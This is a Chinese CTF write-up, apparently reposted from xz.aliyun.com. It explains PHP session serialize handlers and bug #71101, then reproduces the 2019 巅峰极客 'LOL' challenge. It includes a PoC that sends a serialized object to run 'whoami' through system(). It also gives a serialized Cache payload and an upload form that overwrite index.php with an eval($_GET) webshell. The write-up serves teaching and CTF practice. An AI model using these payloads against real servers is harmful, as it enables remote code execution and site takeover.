web安全,ctf

PHPsession反序列化漏洞

php session?

谈 PHP session之前,必须要知道什么是session,那么到底什么是session呢?

Session一般称为“会话控制“,简单来说就是是一种客户与网站/服务器更为安全的对话方式。一旦开启了 session 会话,便可以在网站的任何页面使用或保持这个会话,从而让访问者与网站之间建立了一种“对话”机制。不同语言的会话机制可能有所不同,这里仅讨论PHP session机制。

PHP session可以看做是一个特殊的变量,且该变量是用于存储关于用户会话的信息,或者更改用户会话的设置,需要注意的是,PHP Session 变量存储单一用户的信息,并且对于应用程序中的所有页面都是可用的,且其对应的具体 session 值会存储于服务器端,这也是与 cookie的主要区别,所以seesion 的安全性相对较高。关于session的详细用法可以百度自行学习

PHP Session 的工作流程

会话的工作流程很简单,当开始一个会话时,PHP 会尝试从请求中查找会话 ID (通常通过会话 cookie),如果发现请求的Cookies、Get、Post中不存在session id,PHP 就会自动调用php_session_create_id函数创建一个新的会话,并且在http response中通过set-cookie头部发送给客户端保存,如下图:
在这里插入图片描述
详细内容转自https://xz.aliyun.com/t/6640

有时候浏览器用户设置会禁止 cookie,当在客户端cookie被禁用的情况下,php也可以自动将session id添加到url参数中以及form的hidden字段中,但这需要将php.ini中的session.use_trans_sid设为开启,也可以在运行时调用ini_set来设置这个配置项。

会话开始之后,PHP 就会将会话中的数据设置到 $_SESSION 变量中,如下述代码就是一个在 $_SESSION 变量中注册变量的例子:

<?php
session_start();
if (!isset($_SESSION['username'])) {
  $_SESSION['username'] = 'xianzhi' ;
}
?>

当 PHP 停止的时候,它会自动读取 $_SESSION 中的内容,并将其进行序列化, 然后发送给会话保存管理器来进行保存。

默认情况下,PHP 使用内置的文件会话保存管理器来完成session的保存,也可以通过配置项 session.save_handler 来修改所要采用的会话保存管理器。 对于文件会话保存管理器,会将会话数据保存到配置项session.save_path所指定的位置。

PHP session 在 php.ini 中的配置

PHP session在php.ini中主要存在以下配置项:

session.gc_divisor

php session垃圾回收机制相关配置

session.sid_bits_per_character

指定编码的会话ID字符中的位数

session.save_path=""

该配置主要设置session的存储路径

session.save_handler=""

该配置主要设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数

session.use_strict_mode

严格会话模式,严格会话模式不接受未初始化的会话ID并重新生成会话ID

session.use_cookies

指定是否在客户端用 cookie 来存放会话 ID,默认启用

session.cookie_secure

指定是否仅通过安全连接发送 cookie,默认关闭

session.use_only_cookies

指定是否在客户端仅仅使用cookie来存放会话 ID,启用的话,可以防止有关通过 URL 传递会话 ID 的攻击

session.name

指定会话名以用做 cookie 的名字,只能由字母数字组成,默认为 PHPSESSID

session.auto_start

指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动

session.cookie_lifetime

指定了发送到浏览器的 cookie 的生命周期,单位为秒,值为 0 表示“直到关闭浏览器”。默认为 0

session.cookie_path

指定要设置会话cookie 的路径,默认为 /

session.cookie_domain

指定要设置会话cookie 的域名,默认为无,表示根据 cookie 规范产生cookie的主机名

session.cookie_httponly

将Cookie标记为只能通过HTTP协议访问,即无法通过脚本语言(例如JavaScript)访问Cookie,此设置可以有效地帮助通过XSS攻击减少身份盗用

session.serialize_handler

定义用来序列化/反序列化的处理器名字,默认使用php,还有其他引擎,且不同引擎的对应的session的存储方式不相同,具体可见下文所述

session.gc_probability

该配置项与 session.gc_divisor 合起来用来管理 garbage collection,即垃圾回收进程启动的概率

session.gc_divisor

该配置项与session.gc_probability合起来定义了在每个会话初始化时启动垃圾回收进程的概率

session.gc_maxlifetime

指定过了多少秒之后数据就会被视为“垃圾”并被清除,垃圾搜集可能会在session启动的时候开始( 取决于session.gc_probability 和 session.gc_divisor)

session.referer_check

包含有用来检查每个 HTTP Referer的子串。如果客户端发送了Referer信息但是在其中并未找到该子串,则嵌入的会话 ID 会被标记为无效。默认为空字符串

session.cache_limiter

指定会话页面所使用的缓冲控制方法(none/nocache/private/private_no_expire/public)。默认为 nocache

session.cache_expire

以分钟数指定缓冲的会话页面的存活期,此设定对nocache缓冲控制方法无效。默认为 180

session.use_trans_sid

指定是否启用透明 SID 支持。默认禁用

session.sid_length

配置会话ID字符串的长度。 会话ID的长度可以在22到256之间。默认值为32。

session.trans_sid_tags

指定启用透明sid支持时重写哪些HTML标签以包括会话ID

session.trans_sid_hosts

指定启用透明sid支持时重写的主机,以包括会话ID

session.sid_bits_per_character

配置编码的会话ID字符中的位数

session.upload_progress.enabled

启用上传进度跟踪,并填充$ _SESSION变量, 默认启用。

session.upload_progress.cleanup

读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用

session.upload_progress.prefix

配置$ _SESSION中用于上传进度键的前缀,默认为upload_progress_

session.upload_progress.name

$ _SESSION中用于存储进度信息的键的名称,默认为PHP_SESSION_UPLOAD_PROGRESS

session.upload_progress.freq

定义应该多长时间更新一次上传进度信息

session.upload_progress.min_freq

更新之间的最小延迟

session.lazy_write

配置会话数据在更改时是否被重写,默认启用

以上配置项涉及到的安全比较多,如会话劫持、XSS、CSRF 等,这些不是本文的主题,故不在赘述,在这里主要来具体谈一谈session.serialize_handler配置项

PHP session 的存储机制

上文中提到了 PHP session的存储机制是由session.serialize_handler来定义引擎的,默认是以文件的方式存储,且存储的文件是由sess_sessionid来决定文件名的,当然这个文件名也不是不变的,如Codeigniter框架的 session存储的文件名为ci_sessionSESSIONID,如下图所示:

在这里插入图片描述

当然,文件的内容始终是session值的序列化之后的内容:
在这里插入图片描述

session.serialize_handler定义的引擎有三种,如下表所示:

处理器名称 存储格式
php 键名 + 竖线 + 经过serialize()函数序列化处理的值
php_binary 键名的长度对应的 ASCII 字符 + 键名 + 经过serialize()函数序列化处理的值
php_serialize 经过serialize()函数序列化处理的数组
注:自 PHP 5.5.4 起可以使用 php_serialize

上述三种处理器中,php_serialize在内部简单地直接使用 serialize/unserialize函数,并且不会有php和 php_binary所具有的限制。 使用较旧的序列化处理器导致$_SESSION 的索引既不能是数字也不能包含特殊字符(| 和 !)

下面我们实例来看看三种不同处理器序列化后的结果。

php 处理器

首先来看看session.serialize_handler等于 php时候的序列化结果,demo 如下:

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

序列化的结果为:session|s:7:"xianzhi";

session 为$_SESSION['session']的键名,|后为传入 GET 参数经过序列化后的值

php_binary处理器

再来看看session.serialize_handler等于 php_binary时候的序列化结果。

demo 如下:

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsession'] = $_GET['session'];
?>

为了更能直观的体现出格式的差别,因此这里设置了键值长度为 35,35 对应的 ASCII 码为#,

序列化的结果为:#sessionsessionsessionsessionsessions:7:"xianzhi";

#为键名长度对应的 ASCII 的值,sessionsessionsessionsessionsessions为键名,s:7:"xianzhi";为传入 GET 参数经过序列化后的值

php_serialize 处理器

最后就是session.serialize_handler等于 php_serialize时候的序列化结果,同理,demo 如下:

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

序列化的结果为:a:1:{s:7:"session";s:7:"xianzhi";}

a:1表示$_SESSION数组中有 1 个元素,花括号里面的内容即为传入 GET 参数经过序列化后的值

php bug #71101

这个 BUG 是由乌云白帽子ryat师傅于2015-12-12在 php官网上提出来的,他给了一个 payload,内容如下:

<form action ="upload.php" method ="POST" enctype ="multipart/form-data">
    <input type ="hidden" name ="PHP_SESSION_UPLOAD_PROGRESS" value ="ryat" />
    <input type ="file" name ="file" />
    <input type ="submit" />
</form>

然后$_SESSION中的键值就会为$_SESSION["upload_progress_ryat"],在会话上传过程中,将对会话数据进行序列化/反序列化,序列化格式由php.ini中的session.serialize_handler选项设置。 这意味着,如果在脚本中设置了不同的serialize_handler,那么可以导致注入任意session数据。

上面的解释可能看起来有些绕,简单来说php处理器和php_serialize处理器这两个处理器生成的序列化格式本身是没有问题的,但是如果这两个处理器混合起来用,就会造成危害。

形成的原理就是在用session.serialize_handler = php_serialize存储的字符可以引入 | , 再用session.serialize_handler = php格式取出$_SESSION的值时, |会被当成键值对的分隔符,在特定的地方会造成反序列化漏洞。

简单例子:
定义一个session.php文件,用于传入 session值,文件内容如下:

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
echo '当前session值:'.$_SESSION['session'].'<br/>';
$file ='D:\phpstudy\PHPTutorial\tmp\tmp\sess_'.$_COOKIE['PHPSESSID'];
echo '当前session文件路径:'.$file.'<br/>';
?>

在这里插入图片描述
在这里插入图片描述
然后又存在一个class.php文件

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
class System{
    public $name = 'I am BerL1n';
    function __wakeup(){
        echo "Who are you?";
        system($this->name);
    }
    function __destruct(){
        echo '<br>'.$this->name;
    }
}
$str = new System();
?>

可以看到该类析构函数会输出一个变量$name__wakeup方法里有一处命令执行,而__wakeup方法只会在反序列化后才会触发。
在这里插入图片描述
可以看到现在只能执行__destruct方法内容。
这两个文件明显的特点就是用了session.serialize_handler,并且两处不一样,符合我们上面讲的。如果想要利用php bug #71101,我们要在session.php文件传入|+序列化格式的值,然后再次访问class.php文件的时候,就会在调用session值的时候,触发此 BUG。

现在我们构造payload,来触发命令执行。
poc.php

<?php
class System{
    public $name;
    function __wakeup(){
    }
    function __destruct(){      
    }
}
    $str = new System();
    $str->name = "whoami";
    echo serialize($str);
?>

在这里插入图片描述
payload: |O:6:"System":1:{s:4:"name";s:6:"whoami";}
然后将payload传入session
在这里插入图片描述
现在我们查看session文件储存的内容
在这里插入图片描述
可以看到以序列化形式储存,接下来我们再去访问class.php,我们知道class.php中解析session是php处理器,以|号分隔,所以|前面会当成键名并不会做为session值反序列化出来,而后面会当成session提出来从而反序列化触发魔术方法执行命令。
在这里插入图片描述
当然这仅仅是一个简单的赋值、取值的问题举例,并没有涉及到如何控制 session 值的问题,下面我通过2019 年巅峰极客大赛的lol这个php session反序列化题进行实例说明。

2019巅峰极客LOL

环境

session.save_path="tmp" 表明所有的session文件都是存储在tmp下
session.save_handler=files 表明session是以文件的方式来进行存储的
session.auto_start=0 表明默认不启动session
session.serialize_handler=php_serialize 表明session的默认序列话引擎使用的是php序列话引擎,这里更改为php_serialize
目录
├── app
│   ├── controller
│   │   ├── Files.class.php
│   │   └── IndexController.class.php
│   ├── model
│   │   └── Download.class.php
│   └── view
│       └── Cache.class.php
├── core
│   ├── config.php
│   ├── core.php
│   └── func.php
├── index.php
├── upload
│   └── e9ovitochivkoamlodj6vu9g7g
└── user

题目对上传与下载做测试,使用名为upload的PHPSESSID上传文件后再将PHPSESSID更改为upload/../../,请求download/index.php可以下载到index.php的源码。同理可以下载到整个站点的源码。
这里我们只分析源码。复现session反序列化。

在config.php文件中:

<?php
$config=array(
    'debug'=>'false',
    'ini'=>array(
        'session.name' => 'PHPSESSID',
        'session.serialize_handler' => 'php'
    )
);

我们发现这就是上面讲过的session储存方式的配置,这里以php默认方式,由此我们可以想到session反序列化,服务器php配置文件如果是php_serialize 配置方式的话正好就满足了我们的利用条件。既然设置session配置了,肯定有调用配置启用session的地方,接下来我们就去找

在/core/core.php文件中看到:

<?php

if(!defined('Core_DIR')){
    exit();
}

include(Core_DIR.DS.'config.php');
include(Core_DIR.DS.'func.php');

_if_debug($config['debug']);
spl_autoload_register('autoload_class');
config($config['ini']);


session_start();
define('Upload_DIR',Image_DIR.DS.session_id());
init();

$app = new IndexController();

if(method_exists($app, $app->data['method'])){
    $app->{$app->data['method']}($app->data['param']);
}else{
    $app->index();
}

#$this->method($_POST)

看到了

config($config['ini']);
session_start();

说明满足我们的条件可以进行session反序列化了,但是反序列化如何达到我们的目的呢,我们需要一个可控的点,比如反序列化后可以写入shell或者命令执行。
在app/model/Cache.class.php文件中找到

<?php
class Cache{
    public $data;
    public $sj;
    public $path;
    public $html;
    function __construct($data){//通过post请求name和message
        $this->data['name']=isset($data['post']['name'])?$data['post']['name']:'';
        $this->data['message']=isset($data['post']['message'])?$data['post']['message']:'';
        $this->data['image']=!empty($data['image'])?$data['image']:'/static/images/pic04.jpg';
        $this->path=Cache_DIR.DS.session_id().'.php';
    }

    function __destruct(){
        $this->html=sprintf('<!DOCTYPE HTML><html><head><title>LOL</title><meta charset="utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1, user-scalable=no" /><link rel="stylesheet" href="/static/css/main.css" /><noscript><link rel="stylesheet" href="/static/css/noscript.css" /></noscript>   </head> <body class="is-preload"><div id="wrapper"><header id="header"> <div class="logo"><span class="icon fa-diamond"></span> </div>  <div class="content"><div class="inner">    <h1>Hero of you</h1></div>  </div>  <nav><ul>   <li><a href="#you">YOU</a></li></ul>    </nav></header><div id="main"><article id="you">    <h2 class="major" ng-app>%s</h2>    <span class="image main"><img src="%s" alt="" /></span> <p>%s</p><button type="button" onclick=location.href="/download/%s">下载</button></article></div><footer id="footer"></footer></div><script src="/static/js/jquery.min.js"></script><script src="/static/js/browser.min.js"></script><script src="/static/js/breakpoints.min.js"></script><script src="/static/js/util.js"></script><script src="/static/js/main.js"></script><script src="/static/js/angular.js"></script>   </body></html>',substr($this->data['name'],0,62),$this->data['image'],$this->data['message'],session_id().'.jpg');

        if(file_put_contents($this->path,$this->html)){
            include($this->path);
        }
    }
}

在cache 类中,name和message的值通过 POST 请求得到,然后在传入到 path页面,这样一来,就很清楚了,我们控制name和message一个变量的值,然后再选择一个path页面,最终会在我们选择的path页面生成我们想要的东西,payload 如下:

<?php
//ini_set('session.serialize_handler', 'php_serialize');
//session_start();
class Cache{
    public $data ;
    public $sj;
    public $path = 'D:\phpstudy\PHPTutorial\WWW\lol\index.php';
    public $html;

}
    $str = new Cache();
    $str->data= [
    "name" => "lin",
    "message" => "<?php eval(\$_GET['a'])?>",
    "image" => "lin"
];
    echo serialize($str);
?>
O:5:\"Cache\":4:{s:4:\"data\";a:3:{s:4:\"name\";s:3:\"lin\";s:7:\"message\";s:24:\"<?php eval($_GET['a'])?>\";s:5:\"image\";s:3:\"lin\";}s:2:\"sj\";N;s:4:\"path\";s:41:\"D:\phpstudy\PHPTutorial\WWW\lol\index.php\";s:4:\"html\";N;}

然后用php bug #71101构造一个上传页面,把payload上传到服务器上,存在服务器session中,从而访问页面触发session反序列化写入shell。

<form action="http://192.168.0.12/lol/index.php" method="POST" enctype="multipart/form-data">
    <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="lin" />
    <input type="file" name="file" />
    <input type="submit" />
</form>

我们先看下写入前index.php内容
在这里插入图片描述
在这里插入图片描述
抓包上传后,响应数据是我打印的session值,可以看到成功存入session。
payload我们可以写在filename的位置也可以写在上图lin那个位置,无非就是lin是一个键名,session键名用upload_progress_前缀加lin。看一下session文件
在这里插入图片描述
我们用|分割,然后反序列化字符串时因为是php的默认解析,所以又会以键名|数据的形式,所以数据会载入对象中调用方法成功在index.php写入shell。写入后的index

在这里插入图片描述
发现文件内容被替换

在这里插入图片描述

转自:https://xz.aliyun.com/t/6640
可参考:https://www.anquanke.com/post/id/189142#h3-11
https://xz.aliyun.com/t/6454
https://blog.spoock.com/2016/10/16/php-serialize-problem/

回复

This is just a placeholder img.